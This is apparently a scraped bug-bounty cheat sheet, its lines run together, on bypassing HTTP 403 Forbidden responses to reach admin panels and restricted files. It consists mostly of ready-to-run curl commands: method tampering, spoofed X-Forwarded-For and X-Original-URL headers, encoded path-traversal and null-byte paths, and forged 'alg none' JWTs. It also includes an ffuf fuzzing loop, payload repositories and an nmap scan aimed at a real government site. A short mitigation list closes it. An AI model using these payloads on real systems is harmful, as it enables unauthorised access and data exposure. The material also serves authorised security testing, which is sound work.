Loading...
Master advanced techniques to bypass 403 Forbidden responses using HTTP method tampering, header manipulation, path fuzzing, and encoding tricks.
403 Bypass = Techniques to access forbidden (403) endpoints via HTTP tricksCommon in bug bounty: admin panels, config files, backup directoriesGoal: Access restricted content without authentication/authorizationcurl -X OPTIONS --path-as-is https://example.com/private/curl -X GET --path-as-is https://example.com/private/curl -X POST --path-as-is https://example.com/private/curl -X PUT --path-as-is https://example.com/private/curl -X DELETE --path-as-is https://example.com/private/curl -X PATCH --path-as-is https://example.com/private/curl -X HEAD --path-as-is https://example.com/private/curl -X TRACE --path-as-is https://example.com/private/curl -X CONNECT --path-as-is https://example.com/private/curl -X PROPFIND --path-as-is https://example.com/private/curl -X MKCOL --path-as-is https://example.com/private/curl -X MOVE --path-as-is https://example.com/private/curl -X LOCK --path-as-is https://example.com/private/--path-as-is: Prevent URL normalization (critical for encoded paths)curl -H "X-Original-URL: /admin" https://example.com/some-pagecurl -H "X-Rewrite-URL: /admin" https://example.com/some-pagecurl -H "X-Custom-IP-Authorization: 127.0.0.1" https://example.com/private/curl -H "X-Forwarded-For: 127.0.0.1" https://example.com/private/curl -H "X-Client-IP: 127.0.0.1" https://example.com/private/curl -H "X-Host: localhost" https://example.com/private/curl -H "Referer: http://trustedsite.com/" https://example.com/private/curl -g --path-as-is "https://example.com/%2e%2e/admin"curl -g --path-as-is "https://example.com/%2e%2e%2fadmin"curl -g --path-as-is "https://example.com/%2e%2e%2f%2fadmin"curl -g --path-as-is "https://example.com/%2e%2fadmin"curl -g --path-as-is "https://example.com/admin%2f"curl -g --path-as-is "https://example.com/admin%252f"curl -g --path-as-is "https://example.com/%20/admin"curl -g --path-as-is "https://example.com/admin%20"curl -g --path-as-is "https://example.com/admin."curl -g --path-as-is "https://example.com//admin"curl -g --path-as-is "https://example.com/admin\"curl -g --path-as-is "https://example.com/admin"curl -g --path-as-is "https://example.com/admin%c0%af"curl -g --path-as-is "https://example.com/admin%ef%bc%8f"curl https://example.com/admincurl https://example.com/Admincurl https://example.com/ADMINcurl https://example.com/aDmincurl https://example.com/AdMiNcurl https://example.com/aDMINcurl https://example.com/ADMincurl https://example.com/admin.jsoncurl https://example.com/admin.csscurl https://example.com/admin.jscurl https://example.com/admin.htmlcurl https://example.com/admin.phpcurl https://example.com/admin.aspxcurl https://example.com/admin.xmlcurl https://example.com/admin.txtcurl https://example.com/admin.bakcurl https://example.com/admin.oldcurl https://example.com/admin.zipcurl https://example.com/admin.tar.gzcurl "https://example.com/admin?unused_param=1"curl "https://example.com/admin?redirect=allowed"curl "https://example.com/admin?debug=true"curl "https://example.com/admin?access=granted"curl "https://example.com/admin?token=123"1. Decode the JWT at jwt.io2. Change the role and remove the signature (set algorithm to none)curl -H "Authorization: Bearer <MODIFIED_JWT>" https://example.com/adminareacurl --path-as-is "https://example.com/admin.php%00.html"curl --path-as-is "https://example.com/config.php%00.json"curl --path-as-is "https://example.com/login.php%00?redirect=admin"curl --path-as-is "https://example.com/user/profile%00.php"curl --path-as-is "https://example.com/images/logo%00.jpg"curl --path-as-is "https://example.com/admin%00.php"curl --path-as-is "https://example.com/uploads/file%00.zip"curl --http1.0 https://example.com/private/curl --http1.0 https://example.com/secretcurl --http1.1 https://example.com/configproxychains curl https://example.com/private/curl -H "X-Forwarded-For: 127.0.0.1" https://example.com/private/curl -H "X-Real-IP: 127.0.0.1" https://example.com/private/curl http://example.com/private/curl https://example.com/private/http://example.com/private/https://example.com/private/https://admin.example.com/admin/https://dev.example.com/admin/http://example.com:8080/admin/https://example.com:8443/admin/http://example.com:8000/admin/curl --path-as-is -H "Host:" https://example.com/private/Misconfigured servers may default Host to 127.0.0.1 or localhosthttps://web.archive.org/web/*/https://example.com/secret-file.txthttps://web.archive.org/web/20240101000000/https://example.com/secret-file.txthttps://web.archive.org/web/ — Base URL for Wayback Machinehttps://example.com/secret-file.txt — Target file to check for past versionsMay reveal old snapshots when file was publicly accessiblenmap --script http-methods -p80,443 example.comnmap --script http-methods -p80,443 www.nasa.govNmap done: 1 IP address (1 host up) scanned in X secondscat payloads/403_header_payloads.txt | while read header; do ffuf -w payloads/403_url_payloads.txt:PATH -u "https://example.com/PATH" -H "$header" -mc 200 -fs 0 -x http://172.23.96.1:8080; donehttps://github.com/coffinxp/payloads/blob/main/403_header_payloads.txthttps://github.com/coffinxp/payloads/blob/main/403_url_payloads.txtTest 403 responses manually - slow processBurp 403 Bypass Extension automates header, method, and path manipulationscurl https://example.com/403-pageExtension quickly detects access control bypasses4-zero-3 -u https://target.com/secret --exploithttps://github.com/Dheerajmadhukar/4-ZERO-3Warning: May produce false positives - always verify manually#1: Unauthorized Access - Attackers access protected endpoints#2: Data Breaches - Gaining access to private information#3: System Integrity Compromise - Alter backend functionality#1: Implement proper authentication & authorization checks#2: Avoid relying solely on HTTP method or header checks#3: Use robust, tested access control libraries/frameworks#4: Regularly audit and test access control mechanisms#5: Monitor for suspicious access patterns and repeated 403s